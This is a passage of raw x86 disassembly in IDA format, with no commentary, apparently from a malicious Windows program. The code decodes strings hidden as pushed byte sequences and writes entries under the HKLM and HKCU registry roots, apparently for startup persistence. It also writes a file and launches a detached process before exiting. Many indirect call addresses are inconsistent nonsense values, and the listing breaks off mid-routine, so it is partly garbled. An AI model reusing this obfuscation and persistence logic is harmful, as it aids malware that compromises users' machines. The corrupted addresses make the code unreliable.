		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr ds:268A6Ah
		push	esi
		call	ebx


loc_40C2B6:				; CODE XREF: _294ADE7B:0040C259j
					; _294ADE7B:0040C29Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_401A64j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_174		= byte ptr -174h
var_16C		= byte ptr -16Ch
var_15C		= byte ptr -15Ch
var_12C		= dword	ptr -12Ch
var_110		= byte ptr -110h
var_FC		= word ptr -0FCh
var_E8		= byte ptr -0E8h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	134535h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4013CF
		push	offset word_49A29A
		push	24D14Dh
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401B40
		push	eax
		call	dword ptr ds:1268A6h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401726
		push	eax
		lea	ecx, [esi+4]
		call	sub_401564
		lea	ecx, [esp+1A8h+var_184]
		call	sub_4013CF
		mov	ebp, 6049A2h
		push	3824D1h
		push	5C1268h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401B40
		push	eax
		push	0
		call	dword ptr ds:6E0934h
		push	eax
		call	dword ptr ds:37049Ah
		push	5B824Dh
		call	dword ptr ds:2DC126h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40C401
		mov	edi, ds:dword_4B38A8
		push	56E093h
		push	esi
		call	edi
		push	6B7049h
		push	esi
		mov	ds:dword_43FF0C, eax
		call	edi
		push	75B824h
		push	esi
		mov	ds:dword_43FF08, eax
		call	edi
		push	7ADC12h
		push	esi
		mov	ds:dword_43FF04, eax
		call	edi
		mov	ds:dword_43FDD0, eax
		mov	eax, ds:dword_43FF0C
		test	eax, eax
		jz	short loc_40C401
		push	ebx
		push	0
		call	eax


loc_40C401:				; CODE XREF: sub_40C310+A7j
					; sub_40C310+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_401726
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_401F91
		test	eax, eax
		jnz	short loc_40C438
		mov	al, ds:byte_43FFF7
		test	al, al
		jz	short loc_40C438
		mov	ecx, esi
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4


loc_40C438:				; CODE XREF: sub_40C310+10Dj
					; sub_40C310+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4018DE
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+1D4h+var_19C]
		push	4
		push	ecx
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 3
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+1CCh+var_19C]
		push	14h
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 4
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+1D4h+var_19C]
		push	0Dh
		push	eax
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 5
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+1D4h+var_19C]
		push	10h
		push	ecx
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 6
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+1D4h+var_19C]
		push	0Dh
		push	edx
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 7
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_4011F9
		lea	eax, [esp+1A8h+var_16C]
		push	0
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_40174E
		test	eax, eax
		jnz	loc_40C730
		push	ebp
		mov	ecx, esi
		call	sub_401726
		push	eax
		push	5Ch
		lea	ecx, [esp+1B4h+var_16C]
		call	sub_401726
		push	eax
		lea	ecx, [esp+1B8h+var_110]
		push	7D6E09h
		push	ecx
		call	dword ptr ds:3EB704h
		mov	edi, ds:dword_4B38D0
		add	esp, 14h
		call	edi
		lea	edx, [esp+184h+var_E8]
		push	0
		push	edx
		lea	ecx, [esp+18Ch+var_15C]
		mov	ebp, eax
		call	sub_4015F5
		mov	esi, ds:dword_4B38AC
		push	eax
		call	esi
		test	eax, eax
		jnz	short loc_40C69F


loc_40C66F:				; CODE XREF: sub_40C310+38Dj
		call	edi
		sub	eax, ebp
		add	eax, 4FADC1h
		jnb	short loc_40C69F
		push	67D6E0h
		call	dword ptr ds:73EB70h
		lea	eax, [esp+184h+var_E8]
		push	0
		push	eax
		lea	ecx, [esp+18Ch+var_15C]
		call	sub_4015F5
		push	eax
		call	esi
		test	eax, eax
		jz	short loc_40C66F


loc_40C69F:				; CODE XREF: sub_40C310+35Dj
					; sub_40C310+368j
		mov	al, ds:byte_440653
		pop	ebp
		test	al, al
		jz	short loc_40C6E2
		mov	esi, ds:dword_4B3AB4
		push	39F5B8h
		lea	ecx, [esp+184h+var_E8]
		push	1CFADCh
		push	ecx
		call	esi
		add	esp, 0Ch
		lea	ecx, [esp+180h+var_15C]
		push	4E7D6Eh
		call	sub_401726
		lea	edx, [esp+184h+var_E8]
		push	eax
		push	edx
		call	esi
		add	esp, 0Ch


loc_40C6E2:				; CODE XREF: sub_40C310+397j
		mov	ebx, 0CB39F5h
		xor	eax, eax
		lea	edi, [esp+180h+var_12C]
		lea	edx, [esp+180h+var_E8]
		rep stosd
		mov	[esp+180h+var_FC], ax
		lea	eax, [esp+180h+var_174]
		lea	ecx, [esp+180h+var_12C]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	ebx
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+1A8h+var_12C], 44h
		call	dword ptr ds:6D9CFAh
		test	eax, eax
		jz	short loc_40C730
		push	0
		call	dword ptr ds:76CE7Dh


loc_40C730:				; CODE XREF: sub_40C310+304j
					; sub_40C310+416j
		lea	ecx, [esp+1A8h+var_184]
		mov	byte ptr [esp+1A8h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+1A8h+var_16C]
		mov	[esp+1A8h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+1A8h+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 19Ch
		retn	4
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C8A0	proc near		; CODE XREF: sub_401172j
		mov	al, ds:byte_43FFF9
		test	al, al
		jz	short loc_40C8B4
		push	7B673Eh
		call	dword ptr ds:7DB39Fh


loc_40C8B4:				; CODE XREF: sub_40C8A0+7j
		mov	al, 1
		retn
sub_40C8A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C8D0	proc near		; CODE XREF: sub_401D20j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	7ED9CFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	3F6CE7h
		push	eax
		push	0
		call	dword ptr ds:5FB673h
		push	eax
		call	dword ptr ds:6FDB39h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	77ED9Ch
		call	dword ptr ds:3BF6CEh
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4018DE
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_401726
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	5DFB67h
		push	ecx
		call	dword ptr ds:2EFDB3h
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	dword ptr ds:177ED9h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40CE31
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_4013CF
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4018DE
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4018DE
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4018DE
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4018DE
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4018DE
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4018DE
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4018DE
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4018DE
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4018DE
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4018DE
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4018DE
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_401726
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_401726
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_401726
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_401726
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_401726
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_401726
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_401726
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_401726
		push	eax
		push	offset dword_4BBF6C
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_4011F9
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_401726
		push	eax
		push	esi
		call	dword ptr ds:65DFB6h
		push	esi
		call	dword ptr ds:72EFDBh
		mov	ebx, 4F2EFDh
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	2F977Eh
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	dword ptr ds:17CBBFh
		push	eax
		call	dword ptr ds:4BE5DFh
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	25F2EFh
		push	ecx
		call	dword ptr ds:52F977h
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	297CBBh
		push	edx
		push	eax
		call	dword ptr ds:54BE5Dh
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	dword ptr ds:6A5F2Eh
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40CE31:				; CODE XREF: sub_40C8D0+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40C8D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CFB0	proc near		; CODE XREF: sub_40168Bj

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	352F97h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_4013CF
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_4013CF
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4018DE
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4018DE
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4018DE
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	5A97CBh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_401726
		mov	ebp, ds:dword_4B3768
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_4015F5
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_4015F5
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_4015F5
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	dword ptr ds:6D4BE5h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	dword ptr ds:76A5F2h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	7B52F9h
		push	0
		push	0
		push	0
		call	sub_401726
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_4015F5
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_4015F5
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_4015F5
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	dword ptr ds:3DA97Ch
		mov	edx, [esp+80h+var_70]
		push	edx
		call	dword ptr ds:5ED4BEh
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	2F6A5Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_401726
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_4015F5
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_4015F5
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_4015F5
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	dword ptr ds:17B52Fh
		mov	edx, [esp+80h+var_70]
		push	edx
		call	dword ptr ds:0BDA97h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	5ED4Bh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_401726
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_4015F5
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_4015F5
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_4015F5
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	dword_42F6A5
		mov	edx, [esp+80h+var_70]
		push	edx
		call	dword ptr ds:617B52h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	70BDA9h
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_401726
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_4015F5
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_4015F5
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_4015F5
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	dword ptr ds:785ED4h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	dword ptr ds:3C2F6Ah
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40CFB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D530	proc near		; CODE XREF: sub_4013F2j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	5E17B5h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_4013CF
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_4013CF
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4018DE
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
